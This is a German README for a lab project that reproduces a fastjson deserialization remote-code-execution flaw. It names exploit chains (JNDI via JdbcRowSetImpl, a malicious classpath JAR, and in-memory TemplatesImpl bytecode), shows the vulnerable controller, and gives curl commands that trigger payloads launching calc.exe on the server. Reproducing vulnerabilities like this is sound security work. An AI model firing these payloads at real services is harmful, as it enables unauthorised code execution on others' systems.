CVE-2026-16723 Reproduktionsprojekt

Überblick

Dieses Projekt reproduziert CVE-2026-16723 — eine kritische Remote Code Execution (RCE)-Schwachstelle in fastjson 1.2.68 bis 1.2.83. Die Schwachstelle ermöglicht RCE unter Standardkonfiguration, ohne dass AutoType aktiviert werden muss oder bereits vorhandene Classpath-Gadgets erforderlich sind.

Eigenschaft	Wert
CVE-ID	CVE-2026-16723
Komponente	fastjson
Betroffene Versionen	1.2.68 – 1.2.83
Behobene Versionen	1.2.84+, 2.0.0+
Schwachstellentyp	Deserialisierung / RCE
Schweregrad	CVSS 3.1: 9.0 (KRITISCH)
Angriffsvektor	Netzwerk
Komplexität	Niedrig
Erforderliche Privilegien	Keine
Benutzerinteraktion	Keine

---

Projektstruktur

fastjson-cve-2026-16723/
├── pom.xml                              # Hauptprojekt (Spring Boot-App mit verwundbarem fastjson)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot-Einstiegspunkt
│   └── controller/
│       └── VulnerableController.java    # Verwundbare REST-Endpunkte
├── malicious/                           # Separates Modul: bösartiges JAR für Supply-Chain-Simulation
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Bösartige Klasse mit statischem Initialisierer
│       ├── EvilTranslet.java            # Bösartiges Translet für TemplatesImpl im In-Memory-Modus
│       └── GenTemplatesPayload.java     # Generiert das TemplatesImpl-JSON-Payload
├── templates-payload.json               # Generiertes TemplatesImpl-Payload (direkte Variante)
├── templates-payload-preload.json       # Generiertes TemplatesImpl-Payload (Class-Preload-Variante)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

---

Schwachstellendetails

Grundursache

fastjson 1.2.68–1.2.83 enthält einen Bypass im AutoType-Schutzmechanismus. Selbst mit Standardkonfiguration (autoTypeSupport=false) können Angreifer über manipulierte JSON-Payloads beliebige Klassen instanziieren, indem sie Exploit-Ketten wie die folgenden verwenden:

1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI-Injection)
2. java.lang.Runtime (direkte Befehlsausführung)
3. Supply-Chain-Angriff über ein bösartiges JAR im Classpath (@type: exploit.MaliciousClass)

Verwundbarer Code

VulnerableController.java — zwei Endpunkte demonstrieren das Problem:

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Verwundbar: JSON.parseObject mit Standardkonfiguration
    // Kein ParserConfig.getGlobalInstance().setAutoTypeSupport(true) erforderlich!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Erzwingt Deserialisierung zu Object — löst tatsächliche Klasseninstanziierung aus
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

---

Erstellen des Projekts

Voraussetzungen

• Java 8+
• Maven 3.6+

Build-Befehle

# Hauptanwendung erstellen
mvn clean package -DskipTests

# Bösartiges JAR erstellen (separates Modul)
cd malicious && mvn clean package && cd ..

Ausgabe-Artefakte

• target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot Fat-JAR
• malicious/target/malicious-jar-1.0.jar — Bösartiges JAR mit exploit.MaliciousClass

---

Ausführen der Anwendung

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Der Server startet unter http://localhost:8080

Laufzeitanforderung: Dieses Projekt zielt auf Java 8 ab, und der TemplatesImpl-In-Memory-Modus ist auf JDK 8 verifiziert. Auf JDK 9+ blockiert das Modulsystem den reflektiven Zugriff auf java.xml-Interna, sodass die Kette mit Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl fehlschlägt, sofern nicht die --add-opens-Flags hinzugefügt werden:

java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Classpath inklusive bösartigem JAR verifizieren

Die Haupt-pom.xml deklariert das bösartige JAR als Abhängigkeit, sodass es im Fat-JAR gebündelt ist:

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Zur Laufzeit verifizieren:

curl http://localhost:8080/api/debug

---

Testen der Schwachstelle

Health-Check

curl http://localhost:8080/api/test

Erwartet: CVE-2026-16723 Reproduction Endpoint Ready...

---

Supply-Chain-Angriff (bösartige Klasse im Classpath)

Das malicious-Modul stellt exploit.MaliciousClass mit einem statischen Initialisierer bereit, der beim Laden der Klasse calc.exe ausführt.

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Ergebnis:

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

Und calc.exe startet auf dem Server.

Hinweis: Dies demonstriert ein Supply-Chain-Szenario, bei dem eine bösartige Abhängigkeit im Classpath vorhanden ist. Die Schwachstelle ermöglicht die Instanziierung beliebiger Klassen im Classpath, nicht nur von JDK-Klassen.

---

In-Memory-Bytecode-Modus (TemplatesImpl, kein externer Server erforderlich)

Im Gegensatz zum Supply-Chain-Modus (der die bösartige Klasse im Classpath benötigt) und zum JNDI-Modus (der einen LDAP/RMI-Server benötigt), bettet dieser Modus den bösartigen Bytecode direkt im Payload ein und lädt ihn aus dem Speicher über com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — es muss nichts zusätzlich bereitgestellt werden.

Schritt 1 — Payload generieren:

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Dies kompiliert exploit.EvilTranslet (eine AbstractTranslet-Unterklasse, deren statischer Initialisierer calc.exe ausführt), base64-kodiert dessen .class-Bytes und schreibt:

• templates-payload.json — direkte Variante ("@type": "TemplatesImpl")
• templates-payload-preload.json — java.lang.Class-Preload-Variante

Schritt 2 — Payload auslösen:

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Ergebnis:

>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

Und calc.exe startet auf dem Server.